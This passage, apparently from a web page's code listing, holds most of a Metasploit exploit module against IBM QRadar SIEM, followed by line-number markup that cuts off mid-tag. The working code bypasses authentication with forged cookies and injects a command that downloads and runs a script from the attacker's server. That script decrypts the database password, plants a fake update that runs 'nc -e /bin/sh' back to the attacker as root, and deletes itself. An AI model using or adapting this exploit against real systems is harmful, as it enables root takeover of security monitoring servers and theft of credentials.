=&gt; MSF_LICENSE,        &#8216;Platform&#8217;       =&gt; [&#8216;unix&#8217;],        &#8216;Arch&#8217;           =&gt; ARCH_CMD,        &#8216;References&#8217;     =&gt;          [           [&#8216;CVE&#8217;, &#8221;],           [&#8216;URL&#8217;, &#8216;SECURITEAM_URL&#8217;],           [&#8216;URL&#8217;, &#8216;GITHUB_URL&#8217;],           [&#8216;URL&#8217;, &#8216;FULLDISC_URL&#8217;]          ],        &#8216;Targets&#8217;        =&gt;          [            [ &#8216;IBM QRadar SIEM &lt;= LAST_VULN_VERSION&#8217;, {} ],          ],        &#8216;Payload&#8217;        =&gt; {          &#8216;Compat&#8217;       =&gt; {            &#8216;ConnectionType&#8217;  =&gt; &#8216;reverse&#8217;,          }        },        &#8216;DefaultOptions&#8217;  =&gt; {          &#8216;SSL&#8217;     =&gt; true,          # we can only run shell scripts, so set a reverse netcat payload by default          # the payload that will be run is in the first few lines of @payload          &#8216;PAYLOAD&#8217; =&gt; &#8216;generic\/shell_reverse_tcp&#8217;,        },        &#8216;DisclosureDate&#8217;  =&gt; &#8216;TBD&#8217;,        &#8216;DefaultTarget&#8217;   =&gt; 0))      register_options(        [          Opt::RPORT(443),          OptString.new(&#8216;SRVHOST&#8217;, [true, &#8216;HTTP server address&#8217;, &#8216;0.0.0.0&#8217;]),          OptString.new(&#8216;SRVPORT&#8217;, [true, &#8216;HTTP server port&#8217;, &#8216;4448&#8217;]),        ], self.class)    end      def check      begin        res = send_request_cgi({          &#8216;uri&#8217;       =&gt; &#8216;\/ForensicsAnalysisServlet\/&#8217;,          &#8216;method&#8217;    =&gt; &#8216;GET&#8217;,        })        if res &amp;&amp; res.code == 403          return Exploit::CheckCode::Detected        end      rescue ::Rex::ConnectionError        return Exploit::CheckCode::Unknown      end        Exploit::CheckCode::Safe    end        # Handle incoming requests from QRadar    def on_request_uri(cli, request)      print_good(&#8220;#{peer} &#8211; Sending privilege escalation payload to QRadar&#8230;&#8221;)      print_good(&#8220;#{peer} &#8211; Sit back and relax, Shelly will come visit soon!&#8221;)      send_response(cli, @payload)    end        # step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet    def set_cookies      @sec_cookie = SecureRandom.uuid      @csrf_cookie = SecureRandom.uuid        post_data = &#8220;#{rand_text_alpha(rand(12)+5)},#{rand_text_alpha(rand(12)+5)},&#8221; +        &#8220;#{@sec_cookie},#{@csrf_cookie}&#8221;        res = send_request_cgi({        &#8216;uri&#8217;       =&gt; &#8216;\/ForensicsAnalysisServlet\/&#8217;,        &#8216;method&#8217;    =&gt; &#8216;POST&#8217;,        &#8216;ctype&#8217;     =&gt; &#8216;application\/json&#8217;,        &#8216;cookie&#8217;    =&gt; &#8220;SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};&#8221;,        &#8216;vars_get&#8217;  =&gt;        {          &#8216;action&#8217;  =&gt; &#8216;setSecurityTokens&#8217;,          &#8216;forensicsManagedHostIps&#8217; =&gt; &#8220;#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}&#8221;        },        &#8216;data&#8217;      =&gt; post_data      })        if res.code != 200        fail_with(Failure::Unknown, &#8220;#{peer} &#8211; Failed to set the SEC and QRadar CSRF cookies&#8221;)      end    end      def exploit      print_status(&#8220;#{peer} &#8211; Attempting to exploit #{target.name}&#8221;)        # run step 1      set_cookies        # let&#8217;s prepare step 2 (payload) and 3 (payload exec as root)      @payload_name = rand_text_alpha_lower(3+rand(5))      root_payload = rand_text_alpha_lower(3+rand(5))        if (datastore[&#8216;SRVHOST&#8217;] == &#8220;0.0.0.0&#8221; or datastore[&#8216;SRVHOST&#8217;] == &#8220;::&#8221;)        srv_host = Rex::Socket.source_address(rhost)      else        srv_host = datastore[&#8216;SRVHOST&#8217;]      end        http_service = (datastore[&#8216;SSL&#8217;] ? &#8216;https:\/\/&#8217; : &#8216;http:\/\/&#8217;) + srv_host + &#8216;:&#8217; + datastore[&#8216;SRVPORT&#8217;].to_s      service_uri = http_service + &#8216;\/&#8217; + @payload_name        print_status(&#8220;#{peer} &#8211; Starting up our web service on #{http_service} &#8230;&#8221;)      start_service({&#8216;Uri&#8217; =&gt; {        &#8216;Proc&#8217; =&gt; Proc.new { |cli, req|          on_request_uri(cli, req)        },        &#8216;Path&#8217; =&gt; &#8220;\/#{@payload_name}&#8221;      }})        @payload = %{#!\/bin\/bash    # our payload that&#8217;s going to be downloaded from our web server  cat &lt;&lt;EOF &gt; \/store\/configservices\/staging\/updates\/#{root_payload}  #!\/bin\/bash  \/usr\/bin\/nc -e \/bin\/sh #{datastore[&#8216;LHOST&#8217;]} #{datastore[&#8216;LPORT&#8217;]} &amp;  EOF    ### below is adapted from \/opt\/qradar\/support\/changePasswd.sh  [ -z $NVA_CONF ] &amp;&amp; NVA_CONF=&#8221;\/opt\/qradar\/conf\/nva.conf&#8221;  NVACONF=`grep &#8220;^NVACONF=&#8221; $NVA_CONF 2&gt; \/dev\/null | cut -d= -f2`  FRAMEWORKS_PROPERTIES_FILE=&#8221;frameworks.properties&#8221;  FORENSICS_USER_FILE=&#8221;config_user.xml&#8221;  FORENSICS_USER_FILE_CONFIG=&#8221;$NVACONF\/$FORENSICS_USER_FILE&#8221;    # get the encrypted db password from the config  PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P &#8216;(?&lt;=&gt;)([\\w\\=]*)(?=&lt;)&#8217;`    QVERSION=$(\/opt\/qradar\/bin\/myver | awk -F. &#8216;{print $1$2$3}&#8217;)    AU_CRYPT=\/opt\/qradar\/lib\/Q1\/auCrypto.pm  P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)  P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)    #if 7.2.8 or greater, use new method for hashing and salting passwords  if [ $QVERSION -gt 727 ]  then      PASSWORD=$(perl &lt;(echo ${P_DEC} | base64 -d) &lt;(echo ${PASSWORDENCRYPTED}))        [ $? != 0 ] &amp;&amp; echo &#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221; &amp;&amp; exit 255  else      AESKEY=`grep &#8216;aes.key=&#8217; $NVACONF\/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`        PASSWORD=`\/opt\/qradar\/bin\/runjava.sh -Daes.key=$AESKEY com.q1labs.frameworks.crypto.AESUtil decrypt $PASSWORDENCRYPTED`      [ $? != 0 ] &amp;&amp; echo &#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221; &amp;&amp; exit 255  fi    PGPASSWORD=$PASSWORD \/usr\/bin\/psql -h localhost -U qradar qradar -c   &#8220;insert into autoupdate_patch values (&#8216;#{root_payload}&#8217;,#{rand(1000)+100},&#8217;minor&#8217;,false,#{rand(9999)+100},0,&#8221;,1,false,&#8221;,&#8221;,&#8221;,false)&#8221;    # kill ourselves!  (sleep 2 &amp;&amp; rm &#8212; &#8220;$0&#8221;) &amp;  }        # let&#8217;s do step 2 then, ask QRadar to download and execute our payload      print_status(&#8220;#{peer} &#8211; Asking QRadar to download and execute #{service_uri}&#8221;)        exec_cmd = &#8220;$(mkdir -p \/store\/configservices\/staging\/updates &amp;&amp; wget &#8211;no-check-certificate -O &#8221; +        &#8220;\/store\/configservices\/staging\/updates\/#{@payload_name} #{service_uri} &amp;&amp; &#8221; +        &#8220;\/bin\/bash \/store\/configservices\/staging\/updates\/#{@payload_name})&#8221;        payload_step2 = &#8220;pcap[0][pcap]&#8221; +        &#8220;=\/#{rand_text_alpha_lower(rand(6) + 2) + &#8216;\/&#8217; + rand_text_alpha_lower(rand(6) + 2)}&#8221; +        &#8220;&amp;pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, &#8216;hex-all&#8217;)}&#8221;        uri_step2 = &#8220;\/ForensicsAnalysisServlet\/?forensicsManagedHostIps&#8221; +        &#8220;=127.0.0.1\/forensics\/file.php%3f%26&amp;action=get&amp;slavefile=true&#8221;        res = send_request_cgi({          &#8216;uri&#8217;       =&gt; uri_step2 + &#8216;&amp;&#8217; + payload_step2,          &#8216;method&#8217;    =&gt; &#8216;GET&#8217;,          &#8216;cookie&#8217;    =&gt; &#8220;SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};&#8221;,        })      # now we just sit back and wait for step 2 payload to be downloaded and executed    # &#8230; and then step 3 to complete. Let&#8217;s give it a little more than a minute.    sleep 80    end  end<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-144\">144<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-145\">145<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-146\">146<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-147\">147<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-148\">148<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-149\">149<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-150\">150<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-151\">151<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-152\">152<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-153\">153<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-154\">154<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-155\">155<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-156\">156<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-157\">157<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-158\">158<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-159\">159<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-160\">160<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-161\">161<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-162\">162<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-163\">163<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-164\">164<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-165\">165<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-166\">166<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-167\">167<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-168\">168<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-169\">169<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-170\">170<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-171\">171<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-172\">172<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-173\">173<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-174\">174<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-175\">175<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-176\">176<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-177\">177<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-178\">178<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-179\">179<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-180\">180<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-181\">181<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-182\">182<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-183\">183<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-184\">184<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-185\">185<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-186\">186<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-187\">187<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-188\">188<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-189\">189<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-190\">190<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-191\">191<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-192\">192<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-193\">193<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-194\">194<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-195\">195<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-196\">196<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-197\">197<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-198\">198<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-199\">199<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-200\">200<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-201\">201<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-202\">202<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-203\">203<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-204\">204<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-205\">205<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-206\">206<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-207\">207<\/div>\n<div class=\"crayon-num crayon-striped-num\" 